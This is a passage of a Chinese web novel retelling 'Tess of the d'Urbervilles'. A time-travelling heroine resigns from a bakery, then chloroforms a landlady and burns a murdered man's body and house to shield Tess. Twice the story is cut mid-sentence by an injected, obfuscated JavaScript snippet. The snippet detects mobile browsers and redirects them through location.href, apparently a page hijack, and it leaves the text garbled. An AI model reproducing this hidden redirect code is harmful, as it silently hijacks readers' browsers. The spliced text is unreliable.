她很快翻出纸笔，斟酌着词句，在信纸上涂涂改改，伊莱莎在旁边指点她：“我想没必要写得太细，太具体了反而不好。” 像多丽丝?琼斯的后颈有两颗对称的红痣这种东西就不用写了吧！ 帕夫太太写了好几封，打算寄给不同的报社。她写完之后就跑去邮局寄信了，还问伊莱莎有没有什么需要带的东西。 之前伊莱莎买了一令稿纸，现在还剩下一半多，不过她还是很捧场地让帕夫太太给她带一根大头针和几卷丝线回来。 趁着日光还算明亮，伊莱莎把自己的测验记录和食谱都翻了出来，她并没有买可以随身携带的小羊皮本，想写东西时只好逮着什么用什么，有几张关于南瓜磅蛋糕的南瓜种类和水分对口感影响的甚至是写在广告传单上的。 别说整理上面的内容了，就是把这些大小不一形状各异的纸片整理出来也得花不少功夫。伊莱莎把衬衫的衣袖翻折到小臂，免得被墨水沾到，再抽出一张空白的纸，伏案开始干活儿。 全神贯注的文字工作让她躁郁的心平静了许多，不管怎样，写离职交接的材料都比思考怎么快速毁尸灭迹来得轻松。 夜色降临，伊莱莎点亮了蜡烛，拉德克里夫先生在磨坊处理工作的小屋也亮起了灯。 她蹑手蹑脚地站起来，避免吵醒睡下的帕夫太太，绕过鼾声穿透房门的山姆和派克的房间，走到院子里，放松了手脚。 口袋里的纸包被她抖落出来，是跟馅饼一起装进来的杏干。伊莱莎把蜜糖杏干塞进嘴里，蜜糖和酸味对撞之下，反而嚼出了杏子果肉自带的甜味。 伴随着一直盘桓在舌尖的甜味，伊莱莎把这张目录递给了磨坊主。 “很不幸，拉德克里夫先生，”那块杏干的余酸让她说话有点不利索，“我恐怕不能续约了。” 拉德克里夫在胸前画了个十字，面容严肃地抖机灵：“请原谅，伊莱莎，虽然你并不爱你的父亲，但我还是衷心祈盼他要是没死会有多好。” 他拨弄了一下煤油灯的反光罩，让灯光更明亮，埋头看伊莱莎递给他的产品目录。他看了一会儿，突然问：“你打算出版吗，配上你自己的插画的话，出版应该不算难——我可以帮你联系出版商，但是得在书里给我们的面包房打个广告。” 19.chapter19 我们在人间相聚又别离 伊莱莎摆了个愚蠢又呆滞的表情：“啊？” 比起其他小说主角金手指大开的爽文待遇，这场奇妙穿越给她的唯一加持是让她能在脑海里自动识别英语，加上身体肌肉记忆的获益，她的口语表达上也流畅了很多。 但是除了这些任何一个上过国立学校的多塞特乡村姑娘都能拥有的能力，她实在看不出自己身上竟然还有闪闪发光的作家天赋。 “出版社会收我的投稿？”伊莱莎很诧异，同时有点暗自得意。 难道她的文采还不错？ 拉德克里夫先生鼓励地看着她：“我看过一些你的记录，在用量上写得很精准，步骤时间都说得很明白，而且语言简洁。” 语言简洁当然是因为她写不来复杂的长难从句。 “呃，我想这样简短的句子可能会受家政杂志的青睐，因为他们的订阅用户们并不需要在杂志上阅读致敬华兹华斯的作品，”她组织了一下语言，“但是作为一本出版书……” 难道不需要一点文学性的追求吗？ 拉德克里夫先生神情高深莫测地发问：“你读过伊莱莎·阿克顿的《现代家庭烹饪法》没有？” 伊莱莎当然读过，她提醒道：“这本烹饪书还是您拿给我的。” 事实上，除了伊莱莎，整个面包坊的人都被拉德克里夫先生塞过书，可惜帕夫太太只看祈祷书，派克更喜欢跟常蒂小姐的一位学生在乡村读书会交流心得。 至于山姆，他说他看到字就发晕，一发晕就揉不好面团，气得拉德克里夫先生拿书拍他脑袋。 她汇报了一下读书感想：“阿克顿小姐在计算原料用量上很仔细，而且格外强调烹饪时间的重要性，她的字句也很优美。” “当然优美——她以前还是个寂寂无名的诗人呢。”磨坊主先生抚掌叹息，“一个出版商温和地建议她可以写一点商业化的东西，比如小说，特别是哥特爱情小说。但是写小说的作家已经够多了，所以阿克顿小姐不如写一本烹饪书，‘美食作家’，多么新奇呀！” 他摸了摸下巴，“不管怎么说，写小说也好，写烹饪书也好，都比出版一本诗集来得现实。人们已经不读诗了——至少我就不读，就算说我跟新大陆的乡下人一样粗野，我也要襟怀坦荡地承认。” 好吧……她被拉德克里夫先生的现身说法说服了。 但是她很快想到了一个大问题：“我的配方很多都是对别人的食谱进行试验改良的，并不是我自己自创的，这在出版法或者版权上没有问题吗？” “比顿夫人的《家政管理手册》全盘照抄阿克顿小姐的食谱书，而且里面的一些食谱错误大得惊人——我就见你痛骂过一个需要烘烤两个小时的黑面包食谱，她既不向主人征求意见就把东西拿过来用，也不对自己的内容校正一二。然而结果你也看到了——” 拉德克里夫先生一摊手，“这本书取得的成就之巨大，影响之深远、持久，实在让人迷惑，比山姆看我的书时感受到的困惑还要多。” 伊莱莎被他复杂的从句绕得头晕，拉德克里夫还在坚持不懈地游说她，“如果说比顿夫人的大作是线膛炮，那你的书就是左轮手枪，虽然微小，但是更精美更入时，在杀伤力上一样强大。” 关于他继续讲的那些自己妻子娘家在舰队街，与多少家出版商和印刷商相熟，查尔斯·狄更斯年轻时还在那儿当过擦鞋工。啊！说到狄更斯，他有多喜欢狄更斯的荒凉山庄——伊莱莎用一句话结束了这个话题，“先生，我是来告辞的，让我们先把这件事处理掉，好吗？” 拉德克里夫的声音充满遗憾地戛然而止，像是教堂里正在歌唱的圣歌突然被叫停。他摆正了自己的姿态，换上了精明的磨坊主的面孔，跟伊莱莎商量了半天商品目录和山姆派克能够成功制作的糕点，又讨论了将来如果招新的面包师应该怎么培训他们。 最后他们理出了一个粗略的章程，拉德克里夫先生倒是很乐意挥洒墨水写一些幽默风趣的工作规定，比起他那富有创造性的工作，伊莱莎要干的活儿就机械简单得多。 她主要负责把商品目录上的糕点制作过程事无巨细靡有孑遗地写下来。 “最好把读它的人看成是一个弱智。”拉德克里夫如是要求，他对伊莱莎负责任的离职交接行为感动不已，赏给了她一本《匹克威克外传》，“就算是弱智也能体会到这本书的妙处。” 回到磨坊的三楼，四月的阳光正均匀地铺撒在老旧的梨木写字桌上。 伊莱莎把她暂时还没空欣赏妙处的书放到一堆文件上，盯着桌上的小信匣看了一会儿，仿佛灵魂已经离开了身体。 轻薄的云朵慢慢移动，在地上投下的影子也跟着漫游。 伊莱莎伸手，一小片阴影出现在匣子上。她把它猛地掀开，拿出里面封好信口的几封信，握在手里，心神不宁地发呆。 “怎么，你要寄信吗，伊莱莎？”帕夫太太从她身后经过，探过来问她。 伊莱莎浑身一颤，好像被她的声音吓到了。 她把信扔回匣子里，摇摇头道：“不，帕夫太太，暂时还不……我会去寄的。” 帕夫太太敏锐地感觉到几分异样，她们共享了一会儿沉默的时间。 伊莱莎突然转身，轻轻抱住她，低声说道：“帕夫太太，你去了伦敦还会回来吗，我们还会再见面吗？” 来到这个世界的好几个月她都是在井桥度过的，比起马洛特村，这里更像是她的家。 她还能再回来，还会再见到这里的一草一木吗？ 帕夫太太拍了拍伊莱莎的肩，把她搂得更紧了些，温柔地说：“当然，我们会再见面的。‘我们在人间相聚又别离，一旦入天堂长傍长相依。’主日学校教过你这首歌儿没有，上帝的一片慈心会实现你的愿望的。” 这个虔诚的信徒大概以为这个姑娘失去了父亲，内心充满了忧郁的伤悲，就用宗教的思想来安慰她。 “谢谢你，帕夫太太，不要忘记我——请记得为我祈祷。”伊莱莎感觉有什么东西哽在她的喉头，她无力叹息，只觉得上帝的手已经很沉重地压在了她身上。 帕夫太太挑了一个风和日丽的晴天出发去了伦敦，给她留下了通信地址。 伊莱莎没有太多的时间伤感，她再次拜访了常蒂小姐，从那里借了一本旅游手册。 在目录里她翻到了一些眼熟的地址，但时间太过久远，她实在记不清凶案发生的地方到底叫什么名字，只记得似乎跟鸟类有关，于是在给苔丝写的信里把这些都放上去了： “听妈妈说你将要去威茅斯度假，我听常蒂小姐说过她在那里消夏的经历，如果要租度假别墅的话，最好避开海滨路上的苍鹭居，房东布鲁克斯太太喜欢打听租客的隐私。除此之外，云雀园和柳莺小筑风评同样欠佳……” 鸟儿既不在乎人们的离别，更不在乎人们的诽谤和中伤。 从井桥离开的那天，云雀在树上欢快地鸣叫，天气跟约翰·德伯菲尔德下葬的时候一样好，苔丝的回信就在清晨送到了伊莱莎的手上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227378|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她在信上谢过伊莱莎的好意提醒，同时遗憾地表示她已经在威茅斯租好房子了，恰好就是伊莱莎说的苍鹭居，不过房东太太虽然精明得有点儿过分，但提供的服务很周到，为人也有分寸。 伊莱莎读完信，坚强地站在阳光下沉思了一会儿，请人把她的行李送回了川特里奇，又去火车站买了一张到伯恩茅斯的车票。 她下了火车，直奔邮局，寄出了几封已经封好的信。 回到川特里奇那幢罪恶的房子里的第二天，邮差又送来了信。 信不是苔丝写的，收信人也不是伊莱莎，是写给琼恩的。 伊莱莎顺手帮她拆了信，观察了一下信封，上面的邮戳显示这封信来自巴西。 巴西—— 女儿猛地抬头，撞上母亲惶恐的目光。 “他回来了……他居然真的回来了！”琼恩谈论安吉尔的语气透着巨大的恐惧，仿佛他的名字不是天使，而是恶魔。 琼恩慌里慌张地打翻了客厅小圆桌上的咖啡杯，亚麻桌布上出现了一个巨大的棕色污渍，她无暇收拾，问伊莱莎：“我们要给他回信吗——还是把这封信，烧掉？” 她对印刷品有一种天然的迷信与崇拜，一个很有可能甚至本来就应该按照报纸上所说死在巴西的人突然写来了信，让她心神不宁。 甚至是恰如伊莱莎所预言的那样，在这下作的事发生之后没多久，他就有了动静，像死神的预告一样昭示她大女儿的末路。 琼恩对伊莱莎的直觉已经深信不疑了，但作出预言的本人还在丝网里挣扎：“不，妈妈。不要给他回信，这封信你收好，我们先把苔丝从德伯维尔那里带走，再让她跟安吉尔·克莱尔见面。” 伊莱莎火速写了一封信，告诉苔丝琼恩生了急病，大夫说她的情况很危险，希望苔丝能回来见母亲最后一面——她写到这一句时，突然想到苔丝的结局。 跟琼恩待在一起久了也被她传染了一点迷信的思想，伊莱莎深觉不祥，便又划掉，写上让她赶紧回来之类的话。 写完信，她让琼恩赶紧把它寄出去，随后便钻进了房门，拉开从井桥带回来的行李箱，拿出那顶假发，开始乔装打扮起来。 这栋乡间别墅环境幽静，人烟稀少。琼恩费了一段脚程才找到跑腿的帮她寄信，她走到家门，被一个突然出现的瘦削男人吓得魂飞魄散，以为家里进了强盗，而四围又没有邻居可以求助。 在她打算奔去厨房拿刀的前一秒，伊莱莎开口稳住了她：“妈妈，是我。” “亚伯拉罕？”琼恩纳罕地问，“你怎么突然回来了，长了这么多胡子——还长得这么高！” 伊莱莎很是受不了地翻了个白眼：“我是伊莱莎。” 他们家到底有哪一个家庭成员的头发是黑色的！ 琼恩不知道伊莱莎扮成这副演戏模样要去哪里，但是她肯定女儿不是去剧团演出，用剧院里她并没有看过的莎士比亚戏剧的口吻来说，她敢肯定伊莱莎是去干一些把她自己“引到死亡的路上，闭着眼睛跳下了毁灭的深渊①”的事。 就像流浪歌手们唱的扒手强盗们的故事一样，也许她会被绞死，尸体让海水冲刷十次，也许她会被关进新门监狱，被折磨得变成疯子…… 可惜她既做不了伊莱莎的主，更做不了命运的主，只好把自己寄托给全知全能的主，克莱尔牧师那里不能去，川特里奇教区的牧师斯普勒是高教派的人，她不喜欢。 她思来想去，最后竟去了玛丽·柯莱在川特里奇开办的慈善学校。 20.chapter20杀人容易毁尸难 并不是说每一个信教的基督徒都是宿命论者，但这本书的作者显然是。 尽管在初中读的那个译本里，译者在序言里为哈代洋洋洒洒地辩白了一整篇，说这篇小说并没有体现宿命论的消极思想，甚至恰恰相反，哈代在里面抨击了宿命论的荒诞无稽。 因为作者没办法扭转苔丝的悲剧，只好把这一切归因于命运，当时她读着，对此嗤之以鼻。 然而在得知当克莱尔已经知道苔丝的下落，坐上了前往威茅斯的火车之后，伊莱莎自己也忍不住落入宿命论消极的窠臼之中。 “你怎么会跑到玛丽·柯莱小姐的学校去？” 安吉尔·克莱尔会跟苔丝重逢这件事，其实她早有预感。 冥冥之中一直存在着一双无形的手，把一切偏离了方向的东西拨回到正轨，但伊莱莎怎么也没想到事情竟然是以这样的方式展开的。 琼恩解释道：“既然克莱尔回来了，苔丝还是回到他身边比较好。不管怎样，他都是她的丈夫。而且……她是爱他的，那就更应该这样做了。” “到时候，我想我们就不能住这儿了，所以就打算提前准备一下，找个活儿来干……而且之前不是你说那个学校是个还行的地方嘛。” 当初，亚历克·德伯维尔把这幢川特里奇最美的乡村别墅拿来向苔丝示好时，签下的文件跟当初他们在马洛特村签的一样，合约的有效期持续到琼恩去世，租客只需要给一些象征性的租金就好。 即使苔丝离开了德伯维尔，从法律上来说，合约依旧有效，琼恩可以一直住在这里，直到去世。 没想到她也会受不了这间屋子背后的罪恶勾当。 “那所学校倒没我想的那么充满罪恶，”琼恩忿忿不平，“除了穿的衣服不太合身外，这些孩子看上去举止还算得上得体，看上去都被正派人好好教育过。倒是来的一个助理牧师，说起来他可是基督徒呢，说话竟然这么难听！这样的人怎么配为上帝服务，叫主保佑他口舌生毒疮！” 正派人玛丽·柯莱小姐的学校从济贫院接收7-14岁的孩子进行教育，小于七岁的孩子可以留在父母身边，，满了十四岁的孩子则会被留在济贫院跟父母一起干活（必不可少的人格羞辱不会因为他的年龄而缺席）。 因此，安妮·贝尔卡特，一个已满十四岁的女孩，因为母亲的爱被幸运地送到玛丽·柯莱小姐的学校。 教区并没有她的出生记录，助理牧师不辞辛苦跑到几十英里外的另一个教区，查到了她真正的出生日期，发现比贝尔卡特太太声称的足足早上两年。 这个履职尽责的助理牧师很快赶到慈善学校，以一种很不客气的语气把这个孩子喊了出来，想把她提走。 在交流中他言语攻击了几句安妮的母亲，女孩愤怒地冲上去，狠狠咬了他一口。 “唉呀，你可不知道，当时真是精彩极了，那个女孩看起来又安静又怕生，没想到还有这样的胆子呢，助理牧师都被咬得跳起来了，骂她红头发的小魔鬼！” 最后，玛丽·柯莱小姐出面恢复了秩序，她向助理牧师承诺不会把这个女孩留在学校，以免坏了规矩，但是会帮她找一份工作，让她可以不用回到济贫院。 那个助理牧师颜面和身体都受了伤害，不肯就这样放过安妮，非得把她带走。 围观了全程的琼恩挺身而出，说她正好需要一个女仆，等她的女儿苔丝从威茅斯旅游回来了，安妮正好可以为她们母女俩服务。 她在这个小女孩身上看到了伊莱莎的影子，不仅发色瞳色相似，连性格也很像。 总而言之，这件事经过助理牧师和常蒂小姐的双向传播，很快传到了归来的安吉尔·克莱尔的耳朵里，川特里奇的德伯菲尔德太太还有她的女儿苔丝这两组关键词让他意识到这就是他一直要找的人。 “他来拜访我了，我说苔丝很快就会回来的，让他别着急。”琼恩顿了顿，就差握着十字架发誓她真的没有说了，“他很高兴地说‘那么，苔丝正是在威茅斯了’，然后急匆匆地走了。” 伊莱莎在威茅斯调查地形和路况的时候并没有看到过苔丝，她以为苔丝已经回家了。 现在想来只是因为苔丝不怎么出门，而她又没有一直在苍鹭居附近盯梢。 “你的信没有送到苔丝那里吗？” 大英帝国的邮政系统的可靠性是经得起怀疑的，但是意外总不能完全避免，尤其是在这个由听天由命组成生存规则的世界里，一切都是命中注定且无能为力的。 “信送到了，但是送到了德伯维尔的手里。”琼恩递给伊莱莎一张展开的信笺和一张支票，“他以为我是为了要钱才装病的。” 伊莱莎草草看了一眼信，用词很难听，她不想浪费一点心情为一个死人生气。 远处传来教堂的钟声，餐柜边的大落地钟也准时敲响了晚上十点的钟声。 伊莱莎问：“现在还有去威茅斯的车吗？” 琼恩摇摇头：“现在末班车应该已经开走了。” 种种不幸的巧合都在表明她活在一个悲观主义者创造的世界里，一切努力只不过是杯水车薪的徒劳。 伊莱莎想，不是她不够努力，或者不够聪明——只是因为这一切都是命运的安排。 为什么要与创世主的旨意抗衡呢？ 假如她就此止步，是不是还算得上有几分智慧？ 伊莱莎知道自己算不上聪明，如果说她是个天真的蠢货，她也能欣然承认。 她的优点是充满勇气——或者说鲁莽，说成愚蠢，也是恰如其分。 消失在五月的雾气弥漫的清晨之前，她把琼恩摇醒，语气郑重地说：“妈妈，要是我没回来，你去找玛丽·柯莱小姐要一个人来假扮我。” 琼恩问她要去哪里，怎么就不回来了？还有，为什么要找人假扮她？ 伊莱莎没有回答。 母亲很快昏睡过去，几乎以为这只是一个噩梦。 开往威茅斯的邮政列车在火车站停了下来，一个瘦高的黑发男人空着手走下来，把手插在兜里，踱步出了火车站。 伊莱莎有点头晕，她不知道这是心理作用还是她真的被风吹着凉了，一道很危险的恐吓声在她脑子里叫嚣，让她就此止步，不然就会跌进深渊里。 她被这个幻想刺激得全身发抖，不知道是害怕还是愤怒，也许是两者兼有。 伊莱莎很清楚地知道，这是最后的机会——不如说一直以来有且只有这一个机会，她才能改变苔丝的命运。 真的值得吗，会不会为此后悔？ 计算这些实在消耗她的精力，伊莱莎决定把它们留到她被关进新门监狱的时候再去思考，她只能听到她内心最初的声音，那就是她不想让苔丝死掉。 尤其是仅仅作为一个纯洁的象征死掉。 尽管把一个未婚生子的谋杀犯称为纯洁就已经足够惊世骇俗了，但伊莱莎更想让苔丝活着。 走到苍鹭居的门口，一个穿着红色晨礼服的女人提着一把阳伞，脚步匆匆地出了门。 伊莱莎跟她擦肩而过，目送她走远，心下感叹，真是美丽啊！ 一个美丽的生命，一个纯洁的灵魂，她的死让作品变得多么有力量。 而伊莱莎接下来的行动无疑是为这副美丽画作添上一个败笔。 苔丝走到公路的尽头，忍不住回望了一眼，刚才的那个黑发男人已经不见了踪影，她明明不认识他，却有一种似曾相识的错觉。 他是来苍鹭居找谁的，房东布鲁克斯太太，还是德伯维尔？ “日安，夫人。”伊莱莎摁响了黄铜门铃，房东为她开了门，“请问德伯维尔先生在吗？” 布鲁克斯太太打量着不速之客，这个男人年龄应该二十来岁，身高约有五英尺八英寸，瘦而高挑。他的唇上和下巴都蓄了黑色的胡须，肤色有些蜡黄，眉毛浓密，衬得深绿色的眼睛很深邃，五官轮廓分明，只是眼中时不时闪过狠厉的神情。 他穿着的大衣材质和样式都很普通，体态却很好，身上带着一种令人亲近的气质。 真是咄咄怪事，刚走了一个奇怪的克莱尔先生，又来了一位新的陌生人。 大早上的竟然一下子来了两个访客。 她点点头，说：“我上楼去帮你问问，请问你是？” 伊莱莎的声音低沉，说：“你只需要告诉他，是他的一个德国朋友。” 女房东让他进了门厅，关上了门。 在她转身的一瞬间，一只手从她的背后伸出，把浸满氯/仿的纱布死死地按在她脸上。 从长大衣的内侧取下系好的绳索，伊莱莎把昏迷的布鲁克斯太太的手脚都捆上，打了一个水手结，再蒙上她的眼睛，在她嘴里塞进布团。 这个女人身形矮胖，把她拖到洗涤间费了伊莱莎好大一顿功夫。 绕到隔壁的食品室里，取出一瓶植物油，再把后厅和前厅的百叶窗都关上，伊莱莎有条不紊地干完这一切，踏上了去二楼的楼梯。 一楼的白色天花板上已经出现了被血染红的猩红痕迹，她感到大脑一阵眩晕。 伊莱莎当然不晕血，她摸了摸自己的额头，没有发烧。 这是一种警告，她以一种先验的思想领悟到了。 按下复古的青铜门把手，她冲进了房间。 德伯维尔就坐在餐椅上，胸口汩汩淌着血。 伊莱莎从床上扯下羽毛被和床单，扔到地毯上，把一大滩血吸附掉，避免它们再往天花板渗透。 她探了一下德伯维尔的鼻息，确认他已经死了。 谢天谢地，要是德伯维尔还活着，她不堪思考头痛欲裂的大脑可能真的会炸掉。 从椅子上搬下这具高大的尸体费了她不少功夫，座钟显示时间已经过去十五分钟了。 不知道苔丝上了火车没有。 伊莱莎有片刻的分神，她很快回过头， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229946|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 专心干毁尸灭迹的事。 连续搬了两个人，她感到自己的体力越发不支，头也变得开始变得昏沉。 打开苔丝的衣柜，伊莱莎翻出了一套配色淡雅装饰低调的衣裙，再从帽匣里拿了一顶用蕾丝和手造花装饰的小巧女帽，这些帽子要么太花哨要么太大，只有这顶比较合适。 可惜它不能直接戴在头上，需要用帽针固定，伊莱莎拿了一根足有大半个小臂长的珍珠帽针。 她一边把身上的衣服脱下，扔到德伯维尔尸体的身边，一边换上女装。 最后，她扯下头上的假发，脸上的胡须，再脱下男靴，换上苔丝的短靴，把这一堆从父亲和兄弟那里拿来的衣服摆放在一起。 在它们之间留出了一点间隙，伊莱莎取出自己藏在大衣里的松节油，浇到了尸体和衣物上面。 屋内的桌椅、沙发、衣柜之类的家具都被她用从食品室拿到的植物油淋了一遍，她感觉自己的头越来越涨，好像所有的油不是浇到了地上，而是灌进了她的脑子里。 快速流失的体力让她的动作变得缓慢，她看了下时间，十五分钟也过去了。 从钝痛变成了刺痛，伊莱莎全身都在发抖，她擦了好几次火柴，都被抖得熄灭了。 伊莱莎实在无法，只好走到壁炉前，从里面铲出了一块炭火。 哐当—— 仿佛有人掀开她的头盖骨，往里面重重地敲打了一下。她痛得晕了过去，火钳跌落在地上。 五分钟、十分钟，还是一个世纪？ 醒过来之后，时间线并没有去往一百多年之后，而是只过去了十五分钟。 她看到自己旁边的地摊上有一滩呕吐的痕迹，大概是她痛得受不了吐出来的。 伊莱莎费劲儿地爬起来，比起害怕或者后悔，她感到更多的是愤怒。 凭什么——凭什么她什么都不能做，凭什么苔丝要为德伯维尔陪葬？ 再次从壁炉里取了火，这次的惩罚换了个花样，她感觉有一根绳子把她吊起来，气管勒住挤压，喉咙冒出一股腥甜的味道。她脚步轻飘飘的，仿佛离开了地面。 实际上她的步子很慢，像是灌了铅。 原来这就是被吊在绞刑架上的感觉吗？ 伊莱莎费力地把小铲子一扬，一丁点火星儿也能点燃这一切。 一切都阻止不了她了。 残酷的惩罚很快改成甜蜜的诱惑和恐吓，一个诱人的声音在她脑海里吐着蛇信子，苔丝并不是她的血缘亲人，甚至可以算是一个陌生人。 她为什么要为了苔丝白白受苦，甚至可能被关进监狱、送上绞刑架？ 监狱，或者说是地狱的恐怖景象在她脑海里一幕幕浮现，伊莱莎不想搭理它。 去他的—— 她都吃了这么多苦头，要是在最后一步放弃了，那才是自讨苦吃。 趁现在还能行动，她看到德伯维尔的尸体和身上覆盖的衣服都已经燃起了熊熊烈火，把他的躯壳烧得变了形。 这样的一幕多少会让目击者生理上产生不适，或许是更惨烈的痛苦盖过了这点小小的不适，伊莱莎的内心出离冷静，她自己都讶异于这一点。 她像是揉完了一个圆面包的面团，把它送进烤炉之后，静静等待着它被火烤得膨胀、成形。 这点温度不足以把德伯维尔烧到碳化，但是当代的法医技术也不需要费力气去对付。 伊莱莎擦燃火柴，扔到窗帘上，这间房屋很快被火焰吞噬。 几乎是滚着下了楼梯，她打开洗涤间的水龙头，把自己脸上所有调整五官轮廓的修容和粘胡须的胶水洗掉。 快速地解掉房东太太身上的束缚，伊莱莎扯了块抹布打湿了搭在她的眼上，上帝保佑这时候她没有戏剧化地醒过来。 从后门钻出去，走上铺满碎石的一条小径，伊莱莎在花园翻过围栏爬到隔壁空屋的后院，再拾级而上，转到海边的一条小巷子里。 等她从小巷子里出来时，苍鹭居正在她视线的下方，从高处看过去，二楼的火烧得厉害极了，但是火势还没蔓延到一楼。 一楼的房门已经被撞开，围观的人群看到布鲁克斯太太被抬出来，发出惊讶的嘘声，教区的救火车以极满的速度开过来，负责人大声地喊着，让挤满在路上看热闹的人群让开。 作为另一个叛逆的象征，重点是——活着的象征，她感觉自己的状态好多了，大概从痛不欲生恢复到了40度高烧的程度。 虽然她改变了剧情，但总不能真的弄死她吧，那不是更歪离轨道了吗？ 伊莱莎摸了下脸，确认肉/体是健康的，脸上的红痕是贴得太牢固的胡子留下的痕迹。 一切痛苦只作用于灵魂这种抽象的概念。 她手指发软地整理好头发，掸掉身上的炭灰，依据提前踩好点的经验，脚步虚浮地走到最近的一家出租马车点，像一个病恹恹的淑女一样，让车夫把她送到火车站。 21.chapter21 多管闲事 “去多切斯特，一张头等厢车票。” 售票员看了一眼窗口前的少女，她穿着一身浅淡的鹅黄色裙子，帽子上点缀着雏菊形状的手造花，斜扣在头上。她的脸掩在垂下的白色网状面纱之下，若隐若现，总看不真切，仿佛五月的风一样难以捕捉。 整张脸上都带着红晕，像是一个容易羞涩的小姐，但是细看她就会发现那是皮肉被用力揉搓过留下的痕迹。 这些淡淡的红晕，和她的浅绿的瞳色和淡橘的发色一样，在视觉效果上并不如纯正的红发绿眼一样具有女巫般的冲击力，更隐蔽的色泽像隐藏在阴影里的未知东西一样让人琢磨不透。 买了票之后，伊莱莎的口袋就真的比她的脸还要干净了——是写实意义上的干净，她身上穿的这件衣服苔丝买来之后还没穿过。 不过也没必要为了省一点钱就去坐人多眼杂的三等车厢，增加无谓的风险。 伊莱莎在一个靠着立柱的卖报人那儿买了一份《每周生活快讯》，她不想花光所剩无几的钱，便拿了份日期是上周的滞销品。 这份周报的价格虽然比不上廉价日报便宜，但只贵了一点儿，主要是刊登一些生活小妙招、情感生活、食谱和清洁剂配方，订阅者大都是家庭主妇和提供家政服务的人员，再贵也贵不到哪里去。 内容丰富，面积也足够大，足够让她在火车上一直看着也不会引人生疑。 跟着行李员走到她的车厢前，伊莱莎在座位上落定，她费劲儿地拗了一个符合打扮的淑女坐姿，把报纸放在膝上，望着窗外来来往往的行人。 没有突然出现的警察，没有严肃的戒严，一切都按着秩序进行。 行李员提着行李，把乘客送进车厢，关好门，三等车厢的人们吵吵闹闹地挤进去，检票员挨个检票，送别的人站在月台上，注视着列车。 在她左边的车厢是空的，右边的车厢坐进了一个年轻的女孩，衣服的配色亮丽，桃红色为底，印着酒杯兰的图案，从布料的鲜亮程度来看，应该是新买的一身。 这个女孩从前应该是佣人，伊莱莎注意到她从行李员手里拿回车票时，想把它放进裙上的口袋，但是那里并没有像女佣的围裙一样设置了两个口袋。 车票轻飘飘地滑落在地上，她蹲下去捡起来，有些茫然地把它放进手提袋里。 隔了一会儿，火车快要开走时，右边车厢的门突然打开，一个男人坐了进去。 火车的鸣笛声拉得老长，机车头带着整节车厢向前运动，刚启动时，伊莱莎在座位上摇晃了几下，她头晕得厉害，总感觉鼻端一直浮着一股甜腻的刺鼻气味，味道很淡，就像苍蝇一样抓不着。 随着火车驶出车站，在轨道上的车厢慢慢变得平稳。通往走廊的门刚刚被抖松了，她起身把它关好，在短途列车里，这道门是不能上锁的。 好在现在也不过九点的样子，列车上的人并不多，头等厢就更少了，人们倾向于选择提供餐食的午间和晚间这个时间段的列车，可以享用一顿饭。 既没有太多行人，也没有推着餐车的乘务员来打扰，这正中伊莱莎的下怀 她放松腰上绷紧的肌肉，靠在车厢的板壁上，摊开报纸，瞥了一眼最醒目的启示栏，上面有一条寻人启事，“寻找格拉迪斯·夏普小姐，如果您本人与该地址联系，将会得到一笔可观的好处，若有知悉该小姐消息并提供信息者，也将获益。” 看起来是遗产相关的寻人启事，伊莱莎有些羡慕地接好运。 略过两篇无聊的绅士淑女爱情故事，一篇苏格兰咖喱鸡的食谱和两篇塔丘花艺协会在米尔恩德举办夏季花展的广告后，伊莱莎收回注意力，伪装成一副专心看报的模样，开始思考接下来的事。 不知道布鲁克斯太太醒过来了没有，警察有没有派人去抓捕苔丝和安吉尔。 这些她只有到了下一个车站才能知道，如果女房东醒过来之后并没有向警察报告的话，那德伯维尔很可能会被认为是因为火灾意外去世的。 不过用脚指头想也知道不可能，除非布鲁克斯太太突然失忆或者变成痴呆了。 收到布鲁克斯太太的报告之后，警察会发电给所有在威茅斯火车站停驻过的列车的下一个站点，让他们戒严搜查。 这么短的时间里，他们不会知道自己要追捕的其实是个女人，伊莱莎想要躲过搜查还是很容易的。 苔丝很难逃掉搜查，也没有必要躲避。 她的时间不对。 从苍鹭居离开之后，她沿着公路走到火车站去追安吉尔，一路上的目击者不在少数。就算他们中途下了火车，时间和地点都跟苍鹭居起火事件对不上。 伊莱莎利用了一个惯性思维，人们总认为杀人跟焚尸是有因果联系的。 就像大部分旅客并不会去关注列车的车头跟车厢是一对，还是后面更换过。 苔丝杀掉德伯维尔之后，布鲁克斯太太还没来得及进屋子里查看，一楼的百叶窗被伊莱莎栓上了，二楼的窗户和窗帘都关得严严实实，没有人能看到屋子里发生了什么事。 人们都会下意识地觉得是那个德国男人杀掉了德伯维尔，并且杀掉尸体毁坏现场，最后逃走了。 逃跑的线路伊莱莎精心设计过，出了苍鹭居之后她一直贴着建筑物的墙体在走，几乎全程都在视线的死角里，唯一危险的是从花园翻到隔壁空屋子的阶段，她有暴露的风险。 但得益于锱铢必较的布鲁克斯太太不愿意多花雇一个园丁的钱，花园里的金银花凉棚开得铺天盖地，快要侵入到隔壁后院的凉棚了，一棵疏于修理而长得遮天蔽日的白榕也为遮挡身形提供了一臂之力。 伊莱莎在实地考察的时候都忍不住怀疑了，这条线路的种种有利条件简直是特意为她设计的，难道她不仅是个象征叛逆的工具人，还是谋杀之神的亲女儿？ 